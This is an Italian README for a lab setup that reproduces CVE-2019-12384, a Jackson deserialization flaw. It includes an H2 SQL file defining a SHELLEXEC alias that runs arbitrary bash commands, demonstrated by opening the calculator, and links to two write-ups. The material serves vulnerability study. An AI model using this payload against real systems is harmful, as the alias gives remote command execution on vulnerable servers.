
Ambiente di test per la vulnerabilità CVE-2019-12384
Importa il progetto in IDEA, dopo aver configurato Maven imposta l'importazione automatica delle librerie di dipendenze, quindi scrivi il seguente file in una directory web locale vuota e salvalo come exec.sql. Avvia anche un server http:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Si prega di modificare le parti corrispondenti nel codice per adattarlo ai diversi sistemi operativi.
Si può osservare l'apertura della calcolatrice.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html